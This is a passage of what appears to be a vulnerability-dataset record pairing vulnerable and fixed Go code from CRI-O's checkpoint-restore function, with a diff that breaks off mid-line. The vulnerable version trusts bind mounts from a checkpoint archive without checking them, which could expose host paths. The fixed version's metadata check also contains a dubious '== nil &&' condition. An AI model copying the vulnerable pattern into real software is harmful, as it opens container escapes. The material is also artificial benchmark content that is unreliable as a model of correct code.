mountPoint)\n\t}\n\n\t// Load spec.dump from temporary directory\n\tdumpSpec := new(spec.Spec)\n\tif _, err := metadata.ReadJSONFile(dumpSpec, mountPoint, metadata.SpecDumpFile); err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", metadata.SpecDumpFile, err)\n\t}\n\n\t// Load config.dump from temporary directory\n\tconfig := new(metadata.ContainerConfig)\n\tif _, err := metadata.ReadJSONFile(config, mountPoint, metadata.ConfigDumpFile); err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", metadata.ConfigDumpFile, err)\n\t}\n\n\tctrMetadata := types.ContainerMetadata{}\n\toriginalAnnotations := make(map[string]string)\n\toriginalLabels := make(map[string]string)\n\n\tif dumpSpec.Annotations[annotations.ContainerManager] == \"libpod\" {\n\t\t// This is an import from Podman\n\t\tctrMetadata.Name = config.Name\n\t\tctrMetadata.Attempt = 0\n\t} else {\n\t\tif err := json.Unmarshal([]byte(dumpSpec.Annotations[annotations.Metadata]), &ctrMetadata); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", annotations.Metadata, err)\n\t\t}\n\t\tif createConfig.Metadata != nil && createConfig.Metadata.Name != \"\" {\n\t\t\tctrMetadata.Name = createConfig.Metadata.Name\n\t\t}\n\t\tif err := json.Unmarshal([]byte(dumpSpec.Annotations[annotations.Annotations]), &originalAnnotations); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", annotations.Annotations, err)\n\t\t}\n\n\t\tif err := json.Unmarshal([]byte(dumpSpec.Annotations[annotations.Labels]), &originalLabels); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", annotations.Labels, err)\n\t\t}\n\t\tif sandboxUID != \"\" {\n\t\t\tif _, ok := originalLabels[kubetypes.KubernetesPodUIDLabel]; ok {\n\t\t\t\toriginalLabels[kubetypes.KubernetesPodUIDLabel] = sandboxUID\n\t\t\t}\n\t\t\tif _, ok := originalAnnotations[kubetypes.KubernetesPodUIDLabel]; ok {\n\t\t\t\toriginalAnnotations[kubetypes.KubernetesPodUIDLabel] = sandboxUID\n\t\t\t}\n\t\t}\n\n\t\tif createLabels != nil {\n\t\t\tfixupLabels := []string{\n\t\t\t\t// Update the container name. It has already been update in metadata.Name.\n\t\t\t\t// It also needs to be updated in the container labels.\n\t\t\t\tkubetypes.KubernetesContainerNameLabel,\n\t\t\t\t// Update pod name in the labels.\n\t\t\t\tkubetypes.KubernetesPodNameLabel,\n\t\t\t\t// Also update namespace.\n\t\t\t\tkubetypes.KubernetesPodNamespaceLabel,\n\t\t\t}\n\n\t\t\tfor _, annotation := range fixupLabels {\n\t\t\t\t_, ok1 := createLabels[annotation]\n\t\t\t\t_, ok2 := originalLabels[annotation]\n\n\t\t\t\t// If the value is not set in the original container or\n\t\t\t\t// if it is not set in the new container, just skip\n\t\t\t\t// the step of updating metadata.\n\t\t\t\tif ok1 && ok2 {\n\t\t\t\t\toriginalLabels[annotation] = createLabels[annotation]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif createAnnotations != nil {\n\t\t\t// The hash also needs to be update or Kubernetes thinks the container needs to be restarted\n\t\t\t_, ok1 := createAnnotations[\"io.kubernetes.container.hash\"]\n\t\t\t_, ok2 := originalAnnotations[\"io.kubernetes.container.hash\"]\n\n\t\t\tif ok1 && ok2 {\n\t\t\t\toriginalAnnotations[\"io.kubernetes.container.hash\"] = createAnnotations[\"io.kubernetes.container.hash\"]\n\t\t\t}\n\t\t}\n\t}\n\n\tstopMutex := sb.StopMutex()\n\tstopMutex.RLock()\n\tdefer stopMutex.RUnlock()\n\tif sb.Stopped() {\n\t\treturn \"\", fmt.Errorf(\"CreateContainer failed as the sandbox was stopped: %s\", sb.ID())\n\t}\n\n\tctr, err := container.New()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to create container: %w\", err)\n\t}\n\n\t// Newer checkpoints archives have RootfsImageRef set\n\t// and using it for the restore is more correct.\n\t// For the Kubernetes use case the output of 'crictl ps'\n\t// contains for the original container under 'IMAGE' something\n\t// like 'registry/path/container@sha256:123444444...'.\n\t// The restored container was, however, only displaying something\n\t// like 'registry/path/container'.\n\t// This had two problems, first, the output from the restored\n\t// container was different, but the bigger problem was, that\n\t// CRI-O might pull the wrong image from the registry.\n\t// If the container in the registry was updated (new latest tag)\n\t// all of a sudden the wrong base image would be downloaded.\n\trootFSImage := config.RootfsImageName\n\tif config.RootfsImageRef != \"\" {\n\t\tid, err := storage.ParseStorageImageIDFromOutOfProcessData(config.RootfsImageRef)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"invalid RootfsImageRef %q: %w\", config.RootfsImageRef, err)\n\t\t}\n\t\t// This is not quite out-of-process consumption, but types.ContainerConfig is at least\n\t\t// a cross-process API, and this value is correct in that API.\n\t\trootFSImage = id.IDStringForOutOfProcessConsumptionOnly()\n\t}\n\tcontainerConfig := &types.ContainerConfig{\n\t\tMetadata: &types.ContainerMetadata{\n\t\t\tName:    ctrMetadata.Name,\n\t\t\tAttempt: ctrMetadata.Attempt,\n\t\t},\n\t\tImage: &types.ImageSpec{\n\t\t\tImage: rootFSImage,\n\t\t},\n\t\tLinux: &types.LinuxContainerConfig{\n\t\t\tResources:       &types.LinuxContainerResources{},\n\t\t\tSecurityContext: &types.LinuxContainerSecurityContext{},\n\t\t},\n\t\tAnnotations: originalAnnotations,\n\t\tLabels:      originalLabels,\n\t}\n\n\tif createConfig.Linux != nil {\n\t\tif createConfig.Linux.Resources != nil {\n\t\t\tcontainerConfig.Linux.Resources = createConfig.Linux.Resources\n\t\t}\n\n\t\tif createConfig.Linux.SecurityContext != nil {\n\t\t\tcontainerConfig.Linux.SecurityContext = createConfig.Linux.SecurityContext\n\t\t}\n\t}\n\n\tif dumpSpec.Linux != nil {\n\t\tif dumpSpec.Linux.MaskedPaths != nil {\n\t\t\tcontainerConfig.Linux.SecurityContext.MaskedPaths = dumpSpec.Linux.MaskedPaths\n\t\t}\n\n\t\tif dumpSpec.Linux.ReadonlyPaths != nil {\n\t\t\tcontainerConfig.Linux.SecurityContext.ReadonlyPaths = dumpSpec.Linux.ReadonlyPaths\n\t\t}\n\t}\n\n\tignoreMounts := map[string]bool{\n\t\t\"/proc\":              true,\n\t\t\"/dev\":               true,\n\t\t\"/dev/pts\":           true,\n\t\t\"/dev/mqueue\":        true,\n\t\t\"/sys\":               true,\n\t\t\"/sys/fs/cgroup\":     true,\n\t\t\"/dev/shm\":           true,\n\t\t\"/etc/resolv.conf\":   true,\n\t\t\"/etc/hostname\":      true,\n\t\t\"/run/secrets\":       true,\n\t\t\"/run/.containerenv\": true,\n\t}\n\n\tfor _, m := range dumpSpec.Mounts {\n\t\t// Following mounts are ignored as they might point to the\n\t\t// wrong location and if ignored the mounts will correctly\n\t\t// be setup to point to the new location.\n\t\tif ignoreMounts[m.Destination] {\n\t\t\tcontinue\n\t\t}\n\t\tmount := &types.Mount{\n\t\t\tContainerPath: m.Destination,\n\t\t\tHostPath:      m.Source,\n\t\t}\n\n\t\tfor _, createMount := range createMounts {\n\t\t\tif createMount.ContainerPath == m.Destination {\n\t\t\t\tmount.HostPath = createMount.HostPath\n\t\t\t}\n\t\t}\n\n\t\tfor _, opt := range m.Options {\n\t\t\tswitch opt {\n\t\t\tcase \"ro\":\n\t\t\t\tmount.Readonly = true\n\t\t\tcase \"rro\":\n\t\t\t\tmount.RecursiveReadOnly = true\n\t\t\tcase \"rprivate\":\n\t\t\t\tmount.Propagation = types.MountPropagation_PROPAGATION_PRIVATE\n\t\t\tcase \"rshared\":\n\t\t\t\tmount.Propagation = types.MountPropagation_PROPAGATION_BIDIRECTIONAL\n\t\t\tcase \"rslaved\":\n\t\t\t\tmount.Propagation = types.MountPropagation_PROPAGATION_HOST_TO_CONTAINER\n\t\t\t}\n\t\t}\n\n\t\t// Recursive Read-only (RRO) support requires the mount to be\n\t\t// read-only and the mount propagation set to private.\n\t\tif mount.RecursiveReadOnly {\n\t\t\tmount.Readonly = true\n\t\t\tmount.Propagation = types.MountPropagation_PROPAGATION_PRIVATE\n\t\t}\n\n\t\tlog.Debugf(ctx, \"Adding mounts %#v\", mount)\n\t\tcontainerConfig.Mounts = append(containerConfig.Mounts, mount)\n\t}\n\tsandboxConfig := &types.PodSandboxConfig{\n\t\tMetadata: &types.PodSandboxMetadata{\n\t\t\tName:      sb.Metadata().Name,\n\t\t\tUid:       sb.Metadata().Uid,\n\t\t\tNamespace: sb.Metadata().Namespace,\n\t\t\tAttempt:   sb.Metadata().Attempt,\n\t\t},\n\t\tLinux: &types.LinuxPodSandboxConfig{},\n\t}\n\n\tif err := ctr.SetConfig(containerConfig, sandboxConfig); err != nil {\n\t\treturn \"\", fmt.Errorf(\"setting container config: %w\", err)\n\t}\n\n\tif err := ctr.SetNameAndID(\"\"); err != nil {\n\t\treturn \"\", fmt.Errorf(\"setting container name and ID: %w\", err)\n\t}\n\n\tif _, err = s.ReserveContainerName(ctr.ID(), ctr.Name()); err != nil {\n\t\treturn \"\", fmt.Errorf(\"kubelet may be retrying requests that are timing out in CRI-O due to system load: %w\", err)\n\t}\n\n\tdefer func() {\n\t\tif retErr != nil {\n\t\t\tlog.Infof(ctx, \"RestoreCtr: releasing container name %s\", ctr.Name())\n\t\t\ts.ReleaseContainerName(ctx, ctr.Name())\n\t\t}\n\t}()\n\tctr.SetRestore(true)\n\n\tnewContainer, err := s.createSandboxContainer(ctx, ctr, sb)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer func() {\n\t\tif retErr != nil {\n\t\t\tlog.Infof(ctx, \"RestoreCtr: deleting container %s from storage\", ctr.ID())\n\t\t\terr2 := s.StorageRuntimeServer().DeleteContainer(ctx, ctr.ID())\n\t\t\tif err2 != nil {\n\t\t\t\tlog.Warnf(ctx, \"Failed to cleanup container directory: %v\", err2)\n\t\t\t}\n\t\t}\n\t}()\n\n\ts.addContainer(ctx, newContainer)\n\n\tdefer func() {\n\t\tif retErr != nil {\n\t\t\tlog.Infof(ctx, \"RestoreCtr: removing container %s\", newContainer.ID())\n\t\t\ts.removeContainer(ctx, newContainer)\n\t\t}\n\t}()\n\n\tif err := s.CtrIDIndex().Add(ctr.ID()); err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer func() {\n\t\tif retErr != nil {\n\t\t\tlog.Infof(ctx, \"RestoreCtr: deleting container ID %s from idIndex\", ctr.ID())\n\t\t\tif err := s.CtrIDIndex().Delete(ctr.ID()); err != nil {\n\t\t\t\tlog.Warnf(ctx, \"Couldn't delete ctr id %s from idIndex\", ctr.ID())\n\t\t\t}\n\t\t}\n\t}()\n\n\tnewContainer.SetCreated()\n\tnewContainer.SetRestore(true)\n\tnewContainer.SetRestoreArchivePath(restoreArchivePath)\n\tnewContainer.SetRestoreStorageImageID(restoreStorageImageID)\n\tnewContainer.SetCheckpointedAt(config.CheckpointedAt)\n\n\tif isContextError(ctx.Err()) {\n\t\tlog.Infof(ctx, \"RestoreCtr: context was either canceled or the deadline was exceeded: %v\", ctx.Err())\n\t\treturn \"\", ctx.Err()\n\t}\n\treturn ctr.ID(), nil\n}"}], "fix_func": [{"id": "fix_go_161_1", "commit": "e8e7dcb", "file_path": "server/container_restore.go", "start_line": 55, "end_line": 394, "snippet": "func (s *Server) CRImportCheckpoint(\n\tctx context.Context,\n\tcreateConfig *types.ContainerConfig,\n\tsb *sandbox.Sandbox, sandboxUID string,\n) (ctrID string, retErr error) {\n\tvar mountPoint string\n\n\t// Ensure that the image to restore the checkpoint from has been provided.\n\tif createConfig.Image == nil || createConfig.Image.Image == \"\" {\n\t\treturn \"\", errors.New(`attribute \"image\" missing from container definition`)\n\t}\n\n\tif createConfig.Metadata == nil && createConfig.Metadata.Name == \"\" {\n\t\treturn \"\", errors.New(`attribute \"metadata\" missing from container definition`)\n\t}\n\n\tinputImage := createConfig.Image.Image\n\tcreateMounts := createConfig.Mounts\n\tcreateAnnotations := createConfig.Annotations\n\tcreateLabels := createConfig.Labels\n\n\trestoreStorageImageID, err := s.checkIfCheckpointOCIImage(ctx, inputImage)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar restoreArchivePath string\n\tif restoreStorageImageID != nil {\n\t\tsystemCtx, err := s.contextForNamespace(sb.Metadata().Namespace)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"get context for namespace: %w\", err)\n\t\t}\n\t\t// WARNING: This hard-codes an assumption that SignaturePolicyPath set specifically for the namespace is never less restrictive\n\t\t// than the default system-wide policy, i.e. that if an image is successfully pulled, it always conforms to the system-wide policy.\n\t\tif systemCtx.SignaturePolicyPath != \"\" {\n\t\t\treturn \"\", fmt.Errorf(\"namespaced signature policy %s defined for pods in namespace %s; signature validation is not supported for container restore\", systemCtx.SignaturePolicyPath, sb.Metadata().Namespace)\n\t\t}\n\n\t\tlog.Debugf(ctx, \"Restoring from oci image %s\", inputImage)\n\n\t\t// This is not out-of-process, but it is at least out of the CRI-O codebase; containers/storage uses raw strings.\n\t\tmountPoint, err = s.ContainerServer.StorageImageServer().GetStore().MountImage(restoreStorageImageID.IDStringForOutOfProcessConsumptionOnly(), nil, \"\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tlog.Debugf(ctx, \"Checkpoint image %s mounted at %v\\n\", restoreStorageImageID, mountPoint)\n\n\t\tdefer func() {\n\t\t\t// This is not out-of-process, but it is at least out of the CRI-O codebase; containers/storage uses raw strings.\n\t\t\tif _, err := s.ContainerServer.StorageImageServer().GetStore().UnmountImage(restoreStorageImageID.IDStringForOutOfProcessConsumptionOnly(), true); err != nil {\n\t\t\t\tlog.Errorf(ctx, \"Could not unmount checkpoint image %s: %q\", restoreStorageImageID, err)\n\t\t\t}\n\t\t}()\n\t} else {\n\t\t// First get the container definition from the\n\t\t// tarball to a temporary directory\n\t\tarchiveFile, err := os.Open(inputImage)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to open checkpoint archive %s for import: %w\", inputImage, err)\n\t\t}\n\t\tdefer func(f *os.File) {\n\t\t\tif err := f.Close(); err != nil {\n\t\t\t\tlog.Errorf(ctx, \"Unable to close file %s: %q\", f.Name(), err)\n\t\t\t}\n\t\t}(archiveFile)\n\n\t\trestoreArchivePath = inputImage\n\t\toptions := &archive.TarOptions{\n\t\t\t// Here we only need the files config.dump and spec.dump\n\t\t\tExcludePatterns: []string{\n\t\t\t\t\"artifacts\",\n\t\t\t\t\"ctr.log\",\n\t\t\t\tmetadata.RootFsDiffTar,\n\t\t\t\tmetadata.NetworkStatusFile,\n\t\t\t\tmetadata.DeletedFilesFile,\n\t\t\t\tmetadata.CheckpointDirectory,\n\t\t\t},\n\t\t}\n\t\tmountPoint, err = os.MkdirTemp(\"\", \"checkpoint\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer func() {\n\t\t\tif err := os.RemoveAll(mountPoint); err != nil {\n\t\t\t\tlog.Errorf(ctx, \"Could not recursively remove %s: %q\", mountPoint, err)\n\t\t\t}\n\t\t}()\n\t\terr = archive.Untar(archiveFile, mountPoint, options)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"unpacking of checkpoint archive %s failed: %w\", mountPoint, err)\n\t\t}\n\t\tlog.Debugf(ctx, \"Unpacked checkpoint in %s\", mountPoint)\n\t}\n\n\t// Load spec.dump from temporary directory\n\tdumpSpec := new(spec.Spec)\n\tif _, err := metadata.ReadJSONFile(dumpSpec, mountPoint, metadata.SpecDumpFile); err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", metadata.SpecDumpFile, err)\n\t}\n\n\t// Load config.dump from temporary directory\n\tconfig := new(metadata.ContainerConfig)\n\tif _, err := metadata.ReadJSONFile(config, mountPoint, metadata.ConfigDumpFile); err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", metadata.ConfigDumpFile, err)\n\t}\n\n\toriginalAnnotations := make(map[string]string)\n\n\tif err := json.Unmarshal([]byte(dumpSpec.Annotations[annotations.Annotations]), &originalAnnotations); err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", annotations.Annotations, err)\n\t}\n\n\tif sandboxUID != \"\" {\n\t\tif _, ok := originalAnnotations[kubetypes.KubernetesPodUIDLabel]; ok {\n\t\t\toriginalAnnotations[kubetypes.KubernetesPodUIDLabel] = sandboxUID\n\t\t}\n\t}\n\n\tif createAnnotations != nil {\n\t\t// The hash also needs to be update or Kubernetes thinks the container needs to be restarted\n\t\t_, ok1 := createAnnotations[\"io.kubernetes.container.hash\"]\n\t\t_, ok2 := originalAnnotations[\"io.kubernetes.container.hash\"]\n\n\t\tif ok1 && ok2 {\n\t\t\toriginalAnnotations[\"io.kubernetes.container.hash\"] = createAnnotations[\"io.kubernetes.container.hash\"]\n\t\t}\n\t}\n\n\tstopMutex := sb.StopMutex()\n\tstopMutex.RLock()\n\tdefer stopMutex.RUnlock()\n\tif sb.Stopped() {\n\t\treturn \"\", fmt.Errorf(\"CreateContainer failed as the sandbox was stopped: %s\", sb.ID())\n\t}\n\n\tctr, err := container.New()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to create container: %w\", err)\n\t}\n\n\t// Newer checkpoints archives have RootfsImageRef set\n\t// and using it for the restore is more correct.\n\t// For the Kubernetes use case the output of 'crictl ps'\n\t// contains for the original container under 'IMAGE' something\n\t// like 'registry/path/container@sha256:123444444...'.\n\t// The restored container was, however, only displaying something\n\t// like 'registry/path/container'.\n\t// This had two problems, first, the output from the restored\n\t// container was different, but the bigger problem was, that\n\t// CRI-O might pull the wrong image from the registry.\n\t// If the container in the registry was updated (new latest tag)\n\t// all of a sudden the wrong base image would be downloaded.\n\trootFSImage := config.RootfsImageName\n\tif config.RootfsImageRef != \"\" {\n\t\tid, err := storage.ParseStorageImageIDFromOutOfProcessData(config.RootfsImageRef)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"invalid RootfsImageRef %q: %w\", config.RootfsImageRef, err)\n\t\t}\n\t\t// This is not quite out-of-process consumption, but types.ContainerConfig is at least\n\t\t// a cross-process API, and this value is correct in that API.\n\t\trootFSImage = id.IDStringForOutOfProcessConsumptionOnly()\n\t}\n\tcontainerConfig := &types.ContainerConfig{\n\t\tMetadata: &types.ContainerMetadata{\n\t\t\tName:    createConfig.Metadata.Name,\n\t\t\tAttempt: createConfig.Metadata.Attempt,\n\t\t},\n\t\tImage: &types.ImageSpec{\n\t\t\tImage: rootFSImage,\n\t\t},\n\t\tLinux: &types.LinuxContainerConfig{\n\t\t\tResources:       &types.LinuxContainerResources{},\n\t\t\tSecurityContext: &types.LinuxContainerSecurityContext{},\n\t\t},\n\t\tAnnotations: originalAnnotations,\n\t\t// The labels are nod changed or adapted. They are just taken from the CRI\n\t\t// request without any modification (in contrast to the annotations).\n\t\tLabels: createLabels,\n\t}\n\n\tif createConfig.Linux != nil {\n\t\tif createConfig.Linux.Resources != nil {\n\t\t\tcontainerConfig.Linux.Resources = createConfig.Linux.Resources\n\t\t}\n\n\t\tif createConfig.Linux.SecurityContext != nil {\n\t\t\tcontainerConfig.Linux.SecurityContext = createConfig.Linux.SecurityContext\n\t\t}\n\t}\n\n\tif dumpSpec.Linux != nil {\n\t\tif dumpSpec.Linux.MaskedPaths != nil {\n\t\t\tcontainerConfig.Linux.SecurityContext.MaskedPaths = dumpSpec.Linux.MaskedPaths\n\t\t}\n\n\t\tif dumpSpec.Linux.ReadonlyPaths != nil {\n\t\t\tcontainerConfig.Linux.SecurityContext.ReadonlyPaths = dumpSpec.Linux.ReadonlyPaths\n\t\t}\n\t}\n\n\tignoreMounts := map[string]bool{\n\t\t\"/proc\":              true,\n\t\t\"/dev\":               true,\n\t\t\"/dev/pts\":           true,\n\t\t\"/dev/mqueue\":        true,\n\t\t\"/sys\":               true,\n\t\t\"/sys/fs/cgroup\":     true,\n\t\t\"/dev/shm\":           true,\n\t\t\"/etc/resolv.conf\":   true,\n\t\t\"/etc/hostname\":      true,\n\t\t\"/run/secrets\":       true,\n\t\t\"/run/.containerenv\": true,\n\t}\n\n\t// It is necessary to ensure that all bind mounts in the checkpoint archive are defined\n\t// in the create container requested coming in via the CRI. If this check would not\n\t// be here it would be possible to create a checkpoint archive that mounts some random\n\t// file/directory on the host with the user knowing as it will happen without specifying\n\t// it in the container definition.\n\tmissingMount := []string{}\n\n\tfor _, m := range dumpSpec.Mounts {\n\t\t// Following mounts are ignored as they might point to the\n\t\t// wrong location and if ignored the mounts will correctly\n\t\t// be setup to point to the new location.\n\t\tif ignoreMounts[m.Destination] {\n\t\t\tcontinue\n\t\t}\n\t\tmount := &types.Mount{\n\t\t\tContainerPath: m.Destination,\n\t\t}\n\n\t\tbindMountFound := false\n\t\tfor _, createMount := range createMounts {\n\t\t\tif createMount.ContainerPath == m.Destination {\n\t\t\t\tmount.HostPath = createMount.HostPath\n\t\t\t\tmount.Readonly = createMount.Readonly\n\t\t\t\tmount.RecursiveReadOnly = createMount.RecursiveReadOnly\n\t\t\t\tmount.Propagation = createMount.Propagation\n\t\t\t\tmount.RecursiveReadOnly = createMount.RecursiveReadOnly\n\t\t\t\tbindMountFound = true\n\t\t\t}\n\t\t}\n\t\tif !bindMountFound {\n\t\t\tmissingMount = append(missingMount, m.Destination)\n\t\t\t// If one mount is missing we can skip over any further code as we have\n\t\t\t// to abort the restore process anyway. Not using break to get all missing\n\t\t\t// mountpoints in one error message.\n\t\t\tcontinue\n\t\t}\n\n\t\tlog.Debugf(ctx, \"Adding mounts %#v\", mount)\n\t\tcontainerConfig.Mounts = append(containerConfig.Mounts, mount)\n\t}\n\tif len(missingMount) > 0 {\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"restoring %q expects following bind mounts defined (%s)\",\n\t\t\tinputImage,\n\t\t\tstrings.Join(missingMount, \",\"),\n\t\t)\n\t}\n\n\tsandboxConfig := &types.PodSandboxConfig{\n\t\tMetadata: &types.PodSandboxMetadata{\n\t\t\tName:      sb.Metadata().Name,\n\t\t\tUid:       sb.Metadata().Uid,\n\t\t\tNamespace: sb.Metadata().Namespace,\n\t\t\tAttempt:   sb.Metadata().Attempt,\n\t\t},\n\t\tLinux: &types.LinuxPodSandboxConfig{},\n\t}\n\n\tif err := ctr.SetConfig(containerConfig, sandboxConfig); err != nil {\n\t\treturn \"\", fmt.Errorf(\"setting container config: %w\", err)\n\t}\n\n\tif err := ctr.SetNameAndID(\"\"); err != nil {\n\t\treturn \"\", fmt.Errorf(\"setting container name and ID: %w\", err)\n\t}\n\n\tif _, err = s.ReserveContainerName(ctr.ID(), ctr.Name()); err != nil {\n\t\treturn \"\", fmt.Errorf(\"kubelet may be retrying requests that are timing out in CRI-O due to system load: %w\", err)\n\t}\n\n\tdefer func() {\n\t\tif retErr != nil {\n\t\t\tlog.Infof(ctx, \"RestoreCtr: releasing container name %s\", ctr.Name())\n\t\t\ts.ReleaseContainerName(ctx, ctr.Name())\n\t\t}\n\t}()\n\tctr.SetRestore(true)\n\n\tnewContainer, err := s.createSandboxContainer(ctx, ctr, sb)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer func() {\n\t\tif retErr != nil {\n\t\t\tlog.Infof(ctx, \"RestoreCtr: deleting container %s from storage\", ctr.ID())\n\t\t\terr2 := s.StorageRuntimeServer().DeleteContainer(ctx, ctr.ID())\n\t\t\tif err2 != nil {\n\t\t\t\tlog.Warnf(ctx, \"Failed to cleanup container directory: %v\", err2)\n\t\t\t}\n\t\t}\n\t}()\n\n\ts.addContainer(ctx, newContainer)\n\n\tdefer func() {\n\t\tif retErr != nil {\n\t\t\tlog.Infof(ctx, \"RestoreCtr: removing container %s\", newContainer.ID())\n\t\t\ts.removeContainer(ctx, newContainer)\n\t\t}\n\t}()\n\n\tif err := s.CtrIDIndex().Add(ctr.ID()); err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer func() {\n\t\tif retErr != nil {\n\t\t\tlog.Infof(ctx, \"RestoreCtr: deleting container ID %s from idIndex\", ctr.ID())\n\t\t\tif err := s.CtrIDIndex().Delete(ctr.ID()); err != nil {\n\t\t\t\tlog.Warnf(ctx, \"Couldn't delete ctr id %s from idIndex\", ctr.ID())\n\t\t\t}\n\t\t}\n\t}()\n\n\tnewContainer.SetCreated()\n\tnewContainer.SetRestore(true)\n\tnewContainer.SetRestoreArchivePath(restoreArchivePath)\n\tnewContainer.SetRestoreStorageImageID(restoreStorageImageID)\n\tnewContainer.SetCheckpointedAt(config.CheckpointedAt)\n\n\tif isContextError(ctx.Err()) {\n\t\tlog.Infof(ctx, \"RestoreCtr: context was either canceled or the deadline was exceeded: %v\", ctx.Err())\n\t\treturn \"\", ctx.Err()\n\t}\n\treturn ctr.ID(), nil\n}"}], "vul_patch": "--- a/server/container_restore.go\n+++ b/server/container_restore.go\n@@ -8,6 +8,10 @@\n \t// Ensure that the image to restore the checkpoint from has been provided.\n \tif createConfig.Image == nil || createConfig.Image.Image == \"\" {\n \t\treturn \"\", errors.New(`attribute \"image\" missing from container definition`)\n+\t}\n+\n+\tif createConfig.Metadata == nil && createConfig.Metadata.Name == \"\" {\n+\t\treturn \"\", errors.New(`attribute \"metadata\" missing from container definition`)\n \t}\n \n \tinputImage := createConfig.Image.Image\n@@ -101,69 +105,25 @@\n \t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", metadata.ConfigDumpFile, err)\n \t}\n \n-\tctrMetadata := types.ContainerMetadata{}\n \toriginalAnnotations := make(map[string]string)\n-\toriginalLabels := make(map[string]string)\n-\n-\tif dumpSpec.Annotations[annotations.ContainerManager] == \"libpod\" {\n-\t\t// This is an import from Podman\n-\t\tctrMetadata.Name = config.Name\n-\t\tctrMetadata.Attempt = 0\n-\t} else {\n-\t\tif err := json.Unmarshal([]byte(dumpSpec.Annotations[annotations.Metadata]), &ctrMetadata); err != nil {\n-\t\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", annotations.Metadata, err)\n-\t\t}\n-\t\tif createConfig.Metadata != nil && createConfig.Metadata.Name != \"\" {\n-\t\t\tctrMetadata.Name = createConfig.Metadata.Name\n-\t\t}\n-\t\tif err := json.Unmarshal([]byte(dumpSpec.Annotations[annotations.Annotations]), &originalAnnotations); err != nil {\n-\t\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", annotations.Annotations, err)\n-\t\t}\n-\n-\t\tif err := json.Unmarshal([]byte(dumpSpec.Annotations[annotations.Labels]), &originalLabels); err != nil {\n-\t\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", annotations.Labels, err)\n-\t\t}\n-\t\tif sandboxUID != \"\" {\n-\t\t\tif _, ok := originalLabels[kubetypes.KubernetesPodUIDLabel]; ok {\n-\t\t\t\toriginalLabels[kubetypes.KubernetesPodUIDLabel] = sandboxUID\n-\t\t\t}\n-\t\t\tif _, ok := originalAnnotations[kubetypes.KubernetesPodUIDLabel]; ok {\n-\t\t\t\toriginalAnnotations[kubetypes.KubernetesPodUIDLabel] = sandboxUID\n-\t\t\t}\n-\t\t}\n-\n-\t\tif createLabels != nil {\n-\t\t\tfixupLabels := []string{\n-\t\t\t\t// Update the container name. It has already been update in metadata.Name.\n-\t\t\t\t// It also needs to be updated in the container labels.\n-\t\t\t\tkubetypes.KubernetesContainerNameLabel,\n-\t\t\t\t// Update pod name in the labels.\n-\t\t\t\tkubetypes.KubernetesPodNameLabel,\n-\t\t\t\t// Also update namespace.\n-\t\t\t\tkubetypes.KubernetesPodNamespaceLabel,\n-\t\t\t}\n-\n-\t\t\tfor _, annotation := range fixupLabels {\n-\t\t\t\t_, ok1 := createLabels[annotation]\n-\t\t\t\t_, ok2 := originalLabels[annotation]\n-\n-\t\t\t\t// If the value is not set in the original container or\n-\t\t\t\t// if it is not set in the new container, just skip\n-\t\t\t\t// the step of updating metadata.\n-\t\t\t\tif ok1 && ok2 {\n-\t\t\t\t\toriginalLabels[annotation] = createLabels[annotation]\n-\t\t\t\t}\n-\t\t\t}\n-\t\t}\n-\n-\t\tif createAnnotations != nil {\n-\t\t\t// The hash also needs to be update or Kubernetes thinks the container needs to be restarted\n-\t\t\t_, ok1 := createAnnotations[\"io.kubernetes.container.hash\"]\n-\t\t\t_, ok2 := originalAnnotations[\"io.kubernetes.container.hash\"]\n-\n-\t\t\tif ok1 && ok2 {\n-\t\t\t\toriginalAnnotations[\"io.kubernetes.container.hash\"] = createAnnotations[\"io.kubernetes.container.hash\"]\n-\t\t\t}\n+\n+\tif err := json.Unmarshal([]byte(dumpSpec.Annotations[annotations.Annotations]), &originalAnnotations); err != nil {\n+\t\treturn \"\", fmt.Errorf(\"failed to read %q: %w\", annotations.Annotations, err)\n+\t}\n+\n+\tif sandboxUID != \"\" {\n+\t\tif _, ok := originalAnnotations[kubetypes.KubernetesPodUIDLabel]; ok {\n+\t\t\toriginalAnnotations[kubetypes.KubernetesPodUIDLabel] = sandboxUID\n+\t\t}\n+\t}\n+\n+\tif createAnnotations != nil {\n+\t\t// The hash also needs to be update or Kubernetes thinks the container needs to be restarted\n+\t\t_, ok1 := createAnnotations[\"io.kubernetes.container.hash\"]\n+\t\t_, ok2 := originalAnnotations[\"io.kubernetes.container.hash\"]\n+\n+\t\tif ok1 && ok2 {\n+\t\t\toriginalAnnotations[\"io.kubernetes.container.hash\"] = createAnnotations[\"io.kubernetes.container.hash\"]\n \t\t}\n \t}\n \n@@ -203,8 +163,8 @@\n \t}\n \tcontainerConfig := &types.ContainerConfig{\n \t\tMetadata: &types.ContainerMetadata{\n-\t\t\tName:    